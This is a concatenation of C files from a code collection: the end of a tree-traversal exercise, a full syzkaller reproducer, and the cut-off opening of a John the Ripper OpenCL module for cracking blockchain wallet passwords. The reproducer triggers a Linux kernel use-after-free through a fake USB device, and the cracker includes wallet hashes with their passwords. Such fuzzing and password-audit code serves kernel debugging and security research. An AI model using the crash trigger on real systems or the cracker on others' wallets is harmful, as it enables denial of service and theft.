postOrderRec_r1(n, key, left, right, 0, result); // 0 is root
return result;
}
void print_r1(int n, int * array) {
int i;
for (i = 0; i < n; i++) {
if (i > 0) {
printf(" ");
}
printf("%d", array[i]);
}
printf("\n");
}
int main_r1() {
int n, *key, *left, *right, *result;
read_r1(&n, &key, &left, &right);
result = inOrder_r1(n, key, left, right);
print_r1(n, result);
result = preOrder_r1(n, key, left, right);
print_r1(n, result);
result = postOrder_r1(n, key, left, right);
print_r1(n, result);
free(result);
free(key);
free(left);
free(right);
//scanf("%d", &n);
return 0;
}
|
the_stack_data/994668.c
|
// KASAN: use-after-free Read in ax88172a_unbind
// https://syzkaller.appspot.com/bug?id=665d510fd7c9b03d246faece326f2050bf1932a9
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/usb/ch9.h>
unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
#define MAX_FDS 30
#define USB_MAX_IFACE_NUM 4
#define USB_MAX_EP_NUM 32
struct usb_iface_index {
struct usb_interface_descriptor* iface;
uint8_t bInterfaceNumber;
uint8_t bAlternateSetting;
uint8_t bInterfaceClass;
struct usb_endpoint_descriptor eps[USB_MAX_EP_NUM];
int eps_num;
};
struct usb_device_index {
struct usb_device_descriptor* dev;
struct usb_config_descriptor* config;
uint8_t bDeviceClass;
uint8_t bMaxPower;
int config_length;
struct usb_iface_index ifaces[USB_MAX_IFACE_NUM];
int ifaces_num;
int iface_cur;
};
static bool parse_usb_descriptor(char* buffer, size_t length,
struct usb_device_index* index)
{
if (length < sizeof(*index->dev) + sizeof(*index->config))
return false;
memset(index, 0, sizeof(*index));
index->dev = (struct usb_device_descriptor*)buffer;
index->config = (struct usb_config_descriptor*)(buffer + sizeof(*index->dev));
index->bDeviceClass = index->dev->bDeviceClass;
index->bMaxPower = index->config->bMaxPower;
index->config_length = length - sizeof(*index->dev);
index->iface_cur = -1;
size_t offset = 0;
while (true) {
if (offset + 1 >= length)
break;
uint8_t desc_length = buffer[offset];
uint8_t desc_type = buffer[offset + 1];
if (desc_length <= 2)
break;
if (offset + desc_length > length)
break;
if (desc_type == USB_DT_INTERFACE &&
index->ifaces_num < USB_MAX_IFACE_NUM) {
struct usb_interface_descriptor* iface =
(struct usb_interface_descriptor*)(buffer + offset);
index->ifaces[index->ifaces_num].iface = iface;
index->ifaces[index->ifaces_num].bInterfaceNumber =
iface->bInterfaceNumber;
index->ifaces[index->ifaces_num].bAlternateSetting =
iface->bAlternateSetting;
index->ifaces[index->ifaces_num].bInterfaceClass = iface->bInterfaceClass;
index->ifaces_num++;
}
if (desc_type == USB_DT_ENDPOINT && index->ifaces_num > 0) {
struct usb_iface_index* iface = &index->ifaces[index->ifaces_num - 1];
if (iface->eps_num < USB_MAX_EP_NUM) {
memcpy(&iface->eps[iface->eps_num], buffer + offset,
sizeof(iface->eps[iface->eps_num]));
iface->eps_num++;
}
}
offset += desc_length;
}
return true;
}
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_DISABLE _IOW('U', 6, __u32)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_READ _IOWR('U', 8, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_VBUS_DRAW _IOW('U', 10, __u32)
static int usb_raw_open()
{
return open("/dev/raw-gadget", O_RDWR);
}
static int usb_raw_init(int fd, uint32_t speed, const char* driver,
const char* device)
{
struct usb_raw_init arg;
strncpy((char*)&arg.driver_name[0], driver, sizeof(arg.driver_name));
strncpy((char*)&arg.device_name[0], device, sizeof(arg.device_name));
arg.speed = speed;
return ioctl(fd, USB_RAW_IOCTL_INIT, &arg);
}
static int usb_raw_run(int fd)
{
return ioctl(fd, USB_RAW_IOCTL_RUN, 0);
}
static int usb_raw_event_fetch(int fd, struct usb_raw_event* event)
{
return ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event);
}
static int usb_raw_ep0_write(int fd, struct usb_raw_ep_io* io)
{
return ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io);
}
static int usb_raw_ep0_read(int fd, struct usb_raw_ep_io* io)
{
return ioctl(fd, USB_RAW_IOCTL_EP0_READ, io);
}
static int usb_raw_ep_enable(int fd, struct usb_endpoint_descriptor* desc)
{
return ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, desc);
}
static int usb_raw_ep_disable(int fd, int ep)
{
return ioctl(fd, USB_RAW_IOCTL_EP_DISABLE, ep);
}
static int usb_raw_configure(int fd)
{
return ioctl(fd, USB_RAW_IOCTL_CONFIGURE, 0);
}
static int usb_raw_vbus_draw(int fd, uint32_t power)
{
return ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, power);
}
#define MAX_USB_FDS 6
struct usb_info {
int fd;
struct usb_device_index index;
};
static struct usb_info usb_devices[MAX_USB_FDS];
static int usb_devices_num;
static struct usb_device_index* add_usb_index(int fd, char* dev, size_t dev_len)
{
int i = __atomic_fetch_add(&usb_devices_num, 1, __ATOMIC_RELAXED);
if (i >= MAX_USB_FDS)
return NULL;
int rv = 0;
rv = parse_usb_descriptor(dev, dev_len, &usb_devices[i].index);
if (!rv)
return NULL;
__atomic_store_n(&usb_devices[i].fd, fd, __ATOMIC_RELEASE);
return &usb_devices[i].index;
}
static struct usb_device_index* lookup_usb_index(int fd)
{
int i;
for (i = 0; i < MAX_USB_FDS; i++) {
if (__atomic_load_n(&usb_devices[i].fd, __ATOMIC_ACQUIRE) == fd) {
return &usb_devices[i].index;
}
}
return NULL;
}
static int lookup_interface(int fd, uint8_t bInterfaceNumber,
uint8_t bAlternateSetting)
{
struct usb_device_index* index = lookup_usb_index(fd);
int i;
if (!index)
return -1;
for (i = 0; i < index->ifaces_num; i++) {
if (index->ifaces[i].bInterfaceNumber == bInterfaceNumber &&
index->ifaces[i].bAlternateSetting == bAlternateSetting)
return i;
}
return -1;
}
static void set_interface(int fd, int n)
{
struct usb_device_index* index = lookup_usb_index(fd);
int ep;
if (!index)
return;
if (index->iface_cur >= 0 && index->iface_cur < index->ifaces_num) {
for (ep = 0; ep < index->ifaces[index->iface_cur].eps_num; ep++) {
int rv = usb_raw_ep_disable(fd, ep);
if (rv < 0) {
} else {
}
}
}
if (n >= 0 && n < index->ifaces_num) {
for (ep = 0; ep < index->ifaces[n].eps_num; ep++) {
int rv = usb_raw_ep_enable(fd, &index->ifaces[n].eps[ep]);
if (rv < 0) {
} else {
}
}
index->iface_cur = n;
}
}
static int configure_device(int fd)
{
struct usb_device_index* index = lookup_usb_index(fd);
if (!index)
return -1;
int rv = usb_raw_vbus_draw(fd, index->bMaxPower);
if (rv < 0) {
return rv;
}
rv = usb_raw_configure(fd);
if (rv < 0) {
return rv;
}
set_interface(fd, 0);
return 0;
}
#define USB_MAX_PACKET_SIZE 1024
struct usb_raw_control_event {
struct usb_raw_event inner;
struct usb_ctrlrequest ctrl;
char data[USB_MAX_PACKET_SIZE];
};
struct usb_raw_ep_io_data {
struct usb_raw_ep_io inner;
char data[USB_MAX_PACKET_SIZE];
};
struct vusb_connect_string_descriptor {
uint32_t len;
char* str;
} __attribute__((packed));
struct vusb_connect_descriptors {
uint32_t qual_len;
char* qual;
uint32_t bos_len;
char* bos;
uint32_t strs_len;
struct vusb_connect_string_descriptor strs[0];
} __attribute__((packed));
static const char default_string[] = {8, USB_DT_STRING, 's', 0, 'y', 0, 'z', 0};
static const char default_lang_id[] = {4, USB_DT_STRING, 0x09, 0x04};
static bool lookup_connect_response(int fd,
struct vusb_connect_descriptors* descs,
struct usb_ctrlrequest* ctrl,
char** response_data,
uint32_t* response_length)
{
struct usb_device_index* index = lookup_usb_index(fd);
uint8_t str_idx;
if (!index)
return false;
switch (ctrl->bRequestType & USB_TYPE_MASK) {
case USB_TYPE_STANDARD:
switch (ctrl->bRequest) {
case USB_REQ_GET_DESCRIPTOR:
switch (ctrl->wValue >> 8) {
case USB_DT_DEVICE:
*response_data = (char*)index->dev;
*response_length = sizeof(*index->dev);
return true;
case USB_DT_CONFIG:
*response_data = (char*)index->config;
*response_length = index->config_length;
return true;
case USB_DT_STRING:
str_idx = (uint8_t)ctrl->wValue;
if (descs && str_idx < descs->strs_len) {
*response_data = descs->strs[str_idx].str;
*response_length = descs->strs[str_idx].len;
return true;
}
if (str_idx == 0) {
*response_data = (char*)&default_lang_id[0];
*response_length = default_lang_id[0];
return true;
}
*response_data = (char*)&default_string[0];
*response_length = default_string[0];
return true;
case USB_DT_BOS:
*response_data = descs->bos;
*response_length = descs->bos_len;
return true;
case USB_DT_DEVICE_QUALIFIER:
if (!descs->qual) {
struct usb_qualifier_descriptor* qual =
(struct usb_qualifier_descriptor*)response_data;
qual->bLength = sizeof(*qual);
qual->bDescriptorType = USB_DT_DEVICE_QUALIFIER;
qual->bcdUSB = index->dev->bcdUSB;
qual->bDeviceClass = index->dev->bDeviceClass;
qual->bDeviceSubClass = index->dev->bDeviceSubClass;
qual->bDeviceProtocol = index->dev->bDeviceProtocol;
qual->bMaxPacketSize0 = index->dev->bMaxPacketSize0;
qual->bNumConfigurations = index->dev->bNumConfigurations;
qual->bRESERVED = 0;
*response_length = sizeof(*qual);
return true;
}
*response_data = descs->qual;
*response_length = descs->qual_len;
return true;
default:
exit(1);
return false;
}
break;
default:
exit(1);
return false;
}
break;
default:
exit(1);
return false;
}
return false;
}
static volatile long syz_usb_connect(volatile long a0, volatile long a1,
volatile long a2, volatile long a3)
{
uint64_t speed = a0;
uint64_t dev_len = a1;
char* dev = (char*)a2;
struct vusb_connect_descriptors* descs = (struct vusb_connect_descriptors*)a3;
if (!dev) {
return -1;
}
int fd = usb_raw_open();
if (fd < 0) {
return fd;
}
if (fd >= MAX_FDS) {
close(fd);
return -1;
}
struct usb_device_index* index = add_usb_index(fd, dev, dev_len);
if (!index) {
return -1;
}
char device[32];
sprintf(&device[0], "dummy_udc.%llu", procid);
int rv = usb_raw_init(fd, speed, "dummy_udc", &device[0]);
if (rv < 0) {
return rv;
}
rv = usb_raw_run(fd);
if (rv < 0) {
return rv;
}
bool done = false;
while (!done) {
struct usb_raw_control_event event;
event.inner.type = 0;
event.inner.length = sizeof(event.ctrl);
rv = usb_raw_event_fetch(fd, (struct usb_raw_event*)&event);
if (rv < 0) {
return rv;
}
if (event.inner.type != USB_RAW_EVENT_CONTROL)
continue;
bool response_found = false;
char* response_data = NULL;
uint32_t response_length = 0;
if (event.ctrl.bRequestType & USB_DIR_IN) {
response_found = lookup_connect_response(
fd, descs, &event.ctrl, &response_data, &response_length);
if (!response_found) {
return -1;
}
} else {
if ((event.ctrl.bRequestType & USB_TYPE_MASK) != USB_TYPE_STANDARD ||
event.ctrl.bRequest != USB_REQ_SET_CONFIGURATION) {
exit(1);
return -1;
}
done = true;
}
if (done) {
rv = configure_device(fd);
if (rv < 0) {
return rv;
}
}
struct usb_raw_ep_io_data response;
response.inner.ep = 0;
response.inner.flags = 0;
if (response_length > sizeof(response.data))
response_length = 0;
if (event.ctrl.wLength < response_length)
response_length = event.ctrl.wLength;
response.inner.length = response_length;
if (response_data)
memcpy(&response.data[0], response_data, response_length);
else
memset(&response.data[0], 0, response_length);
if (event.ctrl.bRequestType & USB_DIR_IN) {
rv = usb_raw_ep0_write(fd, (struct usb_raw_ep_io*)&response);
} else {
rv = usb_raw_ep0_read(fd, (struct usb_raw_ep_io*)&response);
}
if (rv < 0) {
return rv;
}
}
sleep_ms(200);
return fd;
}
struct vusb_descriptor {
uint8_t req_type;
uint8_t desc_type;
uint32_t len;
char data[0];
} __attribute__((packed));
struct vusb_descriptors {
uint32_t len;
struct vusb_descriptor* generic;
struct vusb_descriptor* descs[0];
} __attribute__((packed));
struct vusb_response {
uint8_t type;
uint8_t req;
uint32_t len;
char data[0];
} __attribute__((packed));
struct vusb_responses {
uint32_t len;
struct vusb_response* generic;
struct vusb_response* resps[0];
} __attribute__((packed));
static bool lookup_control_response(struct vusb_descriptors* descs,
struct vusb_responses* resps,
struct usb_ctrlrequest* ctrl,
char** response_data,
uint32_t* response_length)
{
int descs_num = 0;
int resps_num = 0;
if (descs)
descs_num = (descs->len - offsetof(struct vusb_descriptors, descs)) /
sizeof(descs->descs[0]);
if (resps)
resps_num = (resps->len - offsetof(struct vusb_responses, resps)) /
sizeof(resps->resps[0]);
uint8_t req = ctrl->bRequest;
uint8_t req_type = ctrl->bRequestType & USB_TYPE_MASK;
uint8_t desc_type = ctrl->wValue >> 8;
if (req == USB_REQ_GET_DESCRIPTOR) {
int i;
for (i = 0; i < descs_num; i++) {
struct vusb_descriptor* desc = descs->descs[i];
if (!desc)
continue;
if (desc->req_type == req_type && desc->desc_type == desc_type) {
*response_length = desc->len;
if (*response_length != 0)
*response_data = &desc->data[0];
else
*response_data = NULL;
return true;
}
}
if (descs && descs->generic) {
*response_data = &descs->generic->data[0];
*response_length = descs->generic->len;
return true;
}
} else {
int i;
for (i = 0; i < resps_num; i++) {
struct vusb_response* resp = resps->resps[i];
if (!resp)
continue;
if (resp->type == req_type && resp->req == req) {
*response_length = resp->len;
if (*response_length != 0)
*response_data = &resp->data[0];
else
*response_data = NULL;
return true;
}
}
if (resps && resps->generic) {
*response_data = &resps->generic->data[0];
*response_length = resps->generic->len;
return true;
}
}
return false;
}
static volatile long syz_usb_control_io(volatile long a0, volatile long a1,
volatile long a2)
{
int fd = a0;
struct vusb_descriptors* descs = (struct vusb_descriptors*)a1;
struct vusb_responses* resps = (struct vusb_responses*)a2;
struct usb_raw_control_event event;
event.inner.type = 0;
event.inner.length = USB_MAX_PACKET_SIZE;
int rv = usb_raw_event_fetch(fd, (struct usb_raw_event*)&event);
if (rv < 0) {
return rv;
}
if (event.inner.type != USB_RAW_EVENT_CONTROL) {
return -1;
}
bool response_found = false;
char* response_data = NULL;
uint32_t response_length = 0;
if ((event.ctrl.bRequestType & USB_DIR_IN) && event.ctrl.wLength) {
response_found = lookup_control_response(descs, resps, &event.ctrl,
&response_data, &response_length);
if (!response_found) {
return -1;
}
} else {
if ((event.ctrl.bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD ||
event.ctrl.bRequest == USB_REQ_SET_INTERFACE) {
int iface_num = event.ctrl.wIndex;
int alt_set = event.ctrl.wValue;
int iface_index = lookup_interface(fd, iface_num, alt_set);
if (iface_index < 0) {
} else {
set_interface(fd, iface_index);
}
}
response_length = event.ctrl.wLength;
}
struct usb_raw_ep_io_data response;
response.inner.ep = 0;
response.inner.flags = 0;
if (response_length > sizeof(response.data))
response_length = 0;
if (event.ctrl.wLength < response_length)
response_length = event.ctrl.wLength;
if ((event.ctrl.bRequestType & USB_DIR_IN) && !event.ctrl.wLength) {
response_length = USB_MAX_PACKET_SIZE;
}
response.inner.length = response_length;
if (response_data)
memcpy(&response.data[0], response_data, response_length);
else
memset(&response.data[0], 0, response_length);
if ((event.ctrl.bRequestType & USB_DIR_IN) && event.ctrl.wLength) {
rv = usb_raw_ep0_write(fd, (struct usb_raw_ep_io*)&response);
} else {
rv = usb_raw_ep0_read(fd, (struct usb_raw_ep_io*)&response);
}
if (rv < 0) {
return rv;
}
sleep_ms(200);
return 0;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_one(void)
{
intptr_t res = 0;
*(uint8_t*)0x20000080 = 0x12;
*(uint8_t*)0x20000081 = 1;
*(uint16_t*)0x20000082 = 0;
*(uint8_t*)0x20000084 = 0xed;
*(uint8_t*)0x20000085 = 1;
*(uint8_t*)0x20000086 = 0x94;
*(uint8_t*)0x20000087 = 8;
*(uint16_t*)0x20000088 = 0xb95;
*(uint16_t*)0x2000008a = 0x172a;
*(uint16_t*)0x2000008c = 0xdcdc;
*(uint8_t*)0x2000008e = 0;
*(uint8_t*)0x2000008f = 0;
*(uint8_t*)0x20000090 = 0;
*(uint8_t*)0x20000091 = 1;
*(uint8_t*)0x20000092 = 9;
*(uint8_t*)0x20000093 = 2;
*(uint16_t*)0x20000094 = 0x12;
*(uint8_t*)0x20000096 = 1;
*(uint8_t*)0x20000097 = 0;
*(uint8_t*)0x20000098 = 0;
*(uint8_t*)0x20000099 = 0;
*(uint8_t*)0x2000009a = 0;
*(uint8_t*)0x2000009b = 9;
*(uint8_t*)0x2000009c = 4;
*(uint8_t*)0x2000009d = 0;
*(uint8_t*)0x2000009e = 0;
*(uint8_t*)0x2000009f = 0;
*(uint8_t*)0x200000a0 = 0xdd;
*(uint8_t*)0x200000a1 = 0xdf;
*(uint8_t*)0x200000a2 = 0x91;
*(uint8_t*)0x200000a3 = 0;
res = syz_usb_connect(0, 0x24, 0x20000080, 0);
if (res != -1)
r[0] = res;
*(uint32_t*)0x20000600 = 0xfffffd74;
*(uint64_t*)0x20000604 = 0;
*(uint64_t*)0x2000060c = 0;
*(uint64_t*)0x20000614 = 0;
*(uint64_t*)0x2000061c = 0;
*(uint64_t*)0x20000624 = 0;
*(uint64_t*)0x2000062c = 0;
*(uint64_t*)0x20000634 = 0;
*(uint64_t*)0x2000063c = 0;
*(uint64_t*)0x20000644 = 0;
*(uint64_t*)0x2000064c = 0x20000000;
*(uint8_t*)0x20000000 = 0x40;
*(uint8_t*)0x20000001 = 0x13;
*(uint32_t*)0x20000002 = 0xfffffea1;
*(uint8_t*)0x20000006 = 0xaa;
*(uint8_t*)0x20000007 = 0xaa;
*(uint8_t*)0x20000008 = 0xaa;
*(uint8_t*)0x20000009 = 0xaa;
*(uint8_t*)0x2000000a = 0xaa;
*(uint8_t*)0x2000000b = 0xaa;
*(uint64_t*)0x20000654 = 0;
*(uint64_t*)0x2000065c = 0;
*(uint64_t*)0x20000664 = 0;
*(uint64_t*)0x2000066c = 0;
*(uint64_t*)0x20000674 = 0;
*(uint64_t*)0x2000067c = 0;
syz_usb_control_io(r[0], 0, 0x20000600);
}
int main(void)
{
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0);
loop();
return 0;
}
|
the_stack_data/60636.c
|
/* blockchain "My Wallet" cracker patch for JtR. Hacked together during June of
* 2013 by Dhiru Kholia <dhiru at openwall.com>.
*
* See https://blockchain.info/wallet/wallet-format
* This software is Copyright (c) 2012 Lukas Odzioba <ukasz at openwall.net>
* and Copyright (c) 2013 Dhiru Kholia <dhiru at openwall.com>, and it is
* hereby released to the general public under the following terms:
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
* improved dection, added iteration count and handle v2 hashes, Feb, 2015, JimF.
*/
#ifdef HAVE_OPENCL
#if FMT_EXTERNS_H
extern struct fmt_main fmt_opencl_blockchain;
#elif FMT_REGISTERS_H
john_register_one(&fmt_opencl_blockchain);
#else
#include <string.h>
#include "aes.h"
#ifdef _OPENMP
#include <omp.h>
#endif
#include "arch.h"
#include "formats.h"
#include "common.h"
#include "stdint.h"
#include "jumbo.h"
#include "common-opencl.h"
#include "options.h"
#define FORMAT_LABEL "blockchain-opencl"
#define FORMAT_NAME "blockchain My Wallet"
#define FORMAT_TAG "$blockchain$"
#define TAG_LENGTH 12
#define ALGORITHM_NAME "PBKDF2-SHA1 OpenCL AES"
#define BENCHMARK_COMMENT ""
#define BENCHMARK_LENGTH -1
#define MIN_KEYS_PER_CRYPT 1
#define MAX_KEYS_PER_CRYPT 1
#define BINARY_SIZE 0
#define PLAINTEXT_LENGTH 64
#define SALT_SIZE sizeof(struct custom_salt)
#define BINARY_ALIGN MEM_ALIGN_WORD
#define SALT_ALIGN 4
#define BIG_ENOUGH (8192 * 32)
// increase me (in multiples of 16) to increase the decrypted and search area
#define SAFETY_FACTOR 160
typedef struct {
uint32_t length;
uint8_t v[PLAINTEXT_LENGTH];
} blockchain_password;
typedef struct {
uint32_t v[32/4];
} blockchain_hash;
typedef struct {
uint32_t iterations;
uint32_t outlen;
uint32_t skip_bytes;
uint8_t length;
uint8_t salt[64];
} blockchain_salt;
static int *cracked;
static int any_cracked;
static struct fmt_tests blockchain_tests[] = {
{"$blockchain$400$53741f25a90ef521c90bb2fd73673e64089ff2cca6ba3cbf6f34e0f80f960b2f60b9ac48df009dc30c288dcf1ade5f16c70a3536403fc11a68f242ba5ad3fcceae3ca5ecd23905997474260aa1357fc322b1434ffa026ba6ad33707c9ad5260e7230b87d8888a45ddc27513adb30af8755ec0737963ae6bb281318c48f224e9c748f6697f75f63f718bebb3401d6d5f02cf62b1701c205762c2f43119b68771ed10ddab79b5f74f56d611f61f77b8b65b5b5669756017429633118b8e5b8b638667e44154de4cc76468c4200eeebda2711a65333a7e3c423c8241e219cdca5ac47c0d4479444241fa27da20dba1a1d81e778a037d40d33ddea7c39e6d02461d97185f66a73deedff39bc53af0e9b04a3d7bf43648303c9f652d99630cd0789819376d68443c85f0eeb7af7c83eecddf25ea912f7721e3fb73ccaedf860f0f033ffc990ed73db441220d0cbe6e029676fef264dc2dc497f39bedf4041ba355d086134744d5a36e09515d230cd499eb20e0c574fb1bd9d994ce26f53f21d06dd58db4f8e0efbcaee7038df793bbb3daa96", "strongpassword"},
{"$blockchain$384$ece598c58b22a3b245a02039ce36bdf589a86b6344e802b4a3ac9b727cc0b6977e9509bc1ac4d1b7b9cbf9089ecdc89706f0a469325f7ee218b2212b6cd3e32677be20eee91e267fe13ebded02946d4ae1163ef22b3dca327d7390091247ac770288a0c7be181b21a48a8f945d9913cdfdc4cfd739ee3a41ced11cacde22e3233250e36f8b8fb4d81de5298a84374af75b88afda3438eed232e52aa0eb29e0d475456c86ae9d1aaadca14bc25f273c93fd4d7fd8316ed5306733bca77e8214277edd3155342abe0710985dc20b4f80e6620e386aa7658f92df25c7c932f0eb1beca25253662bd558647a3ba741f89450bfdba59a0c016477450fbcecd62226626e06ed2e3f5a4180e32d534c7769bcd1160aad840cfd3b7b13a90d34fedb3408fe74379a9e8a840fe3bfee8e0ee01f77ee389613fa750c3d2771b83eeb4e16598f76c15c311c325bd5d54543571aa20934060e332f451e58d67ad0f4635c0c021fa76821a68d64f1a5fb6fd70365eef4442cedcc91eb8696d52d078807edd89d", "qwertyuiop1"},
/* here is a v2 hash. NOTE, it uses 5000 pbkdf2 for the hash */
{"$blockchain$v2$5000$544$9a4d5157d4969636b2fe0738f77a376feda2fb979738c5cf0e712f5d4a2f001608824a865d25041bc85e0ad35985999fcfae7d218eb109a703781f57e7b5a03c29ffdfb756ec8ee38ed8941b056922cdd174c8e89feb40e1a0e1766792845f57992ae9d7667eff41a5e5580f3f289b050d76cc0f049cbd30c675efc3a553c0f19f30cb9589c7c3773dd095de92a991963789408351f543c1dc307751e5f781c278da77270035e3743df01ab4e41155b6437d9c7e64388a28f8331aca4822e6b89cdd5f45061b99768218d853a3575bbd029564826bcb188d55444273cda588d4e593fc5d29696713d747cfc8302a3e9c9dbb1bb3754c2e00f28b69d8faeb2e45c04085359c6a9b6bfecfd0a6a8f27ad647b6bfd498f2224a8c0442f7fe730656263ac2869923b296ad9955dbad515b4f88ad33619bdacc33ae7f14c65fce029e0f9e4a9c414716d9a23e4361aa264493bb6fc9a7fda82599b0232174b9fc92a1c717ca2cc6deb8bd6aaf3706b95fdfdc582316cb3d271178dafe3a6704a918e07be057bef676bb144840c7f26676f183f2744fc2fe22c9c3feb7461b4383981c00b6fff403fef578f6e5464dc2d0bcb7b8d0dc2e7add502b34c8fe9f9b638eebe7ede25e351b17ea8b8c1f5213b69780c0ba7ef3d5734c0635e9d2ee49524914f047d45536180be25e7610db809db694ceeb16a3bfd8abd5ab0cda4415203408387698fe707568566f7f567164707091a806ac2d11b9b9dd0c3c991ff037f457", "Openwall1234#"},
/* this is the 'raw' hash to the line above. We do not handle this yet, but probably should. It is also mime, and not base-16 */
//{"{\"pbkdf2_iterations\":5000,\"version\":2,\"payload\":\"mk1RV9SWljay/gc493o3b+2i+5eXOMXPDnEvXUovABYIgkqGXSUEG8heCtNZhZmfz659IY6xCacDeB9X57WgPCn/37dW7I7jjtiUGwVpIs3RdMjon+tA4aDhdmeShF9XmSrp12Z+/0Gl5VgPPyibBQ12zA8EnL0wxnXvw6VTwPGfMMuVicfDdz3Qld6SqZGWN4lAg1H1Q8HcMHdR5feBwnjadycANeN0PfAatOQRVbZDfZx+ZDiKKPgzGspIIua4nN1fRQYbmXaCGNhTo1dbvQKVZIJryxiNVURCc82liNTlk/xdKWlnE9dHz8gwKj6cnbsbs3VMLgDyi2nY+usuRcBAhTWcaptr/s/QpqjyetZHtr/UmPIiSowEQvf+cwZWJjrChpkjspatmVXbrVFbT4itM2Gb2swzrn8Uxl/OAp4PnkqcQUcW2aI+Q2GqJkSTu2/Jp/2oJZmwIyF0ufySoccXyizG3ri9aq83Brlf39xYIxbLPScReNr+OmcEqRjge+BXvvZ2uxRIQMfyZnbxg/J0T8L+IsnD/rdGG0ODmBwAtv/0A/71ePblRk3C0Ly3uNDcLnrdUCs0yP6fm2OO6+ft4l41Gxfqi4wfUhO2l4DAun7z1XNMBjXp0u5JUkkU8EfUVTYYC+JedhDbgJ22lM7rFqO/2KvVqwzaRBUgNAg4dpj+cHVoVm9/VnFkcHCRqAasLRG5ud0MPJkf8Df0Vw==\"}", "Openwall1234#"},
{NULL}
};
static struct custom_salt {
unsigned char data[BIG_ENOUGH];
int length;
int iter;
} *cur_salt;
static cl_int cl_error;
static blockchain_password *inbuffer;
static blockchain_hash *outbuffer;
static blockchain_salt currentsalt;
static cl_mem mem_in, mem_out, mem_setting;
static struct fmt_main *self;
size_t insize, outsize, settingsize, cracked_size;
#define STEP 0
#define SEED 256
// This file contains auto-tuning routine(s). Has to be included after formats definitions.
#include "opencl-autotune.h"
#include "memdbg.h"
static const char * warn[] = {
"xfer: ", ", crypt: ", ", xfer: "
};
/* ------- Helper functions ------- */
static size_t get_task_max_work_group_size()
{
return autotune_get_task_max_work_group_size(FALSE, 0, crypt_kernel);
}
static void create_clobj(size_t gws, struct fmt_main *self)
{
insize = sizeof(blockchain_password) * gws;
outsize = sizeof(blockchain_hash) * gws;
settingsize = sizeof(blockchain_salt);
cracked_size = sizeof(*cracked) * gws;
inbuffer = mem_calloc(1, insize);
outbuffer = mem_alloc(outsize);
cracked = mem_calloc(1, cracked_size);
/// Allocate memory
mem_in =
clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY, insize, NULL,
&cl_error);
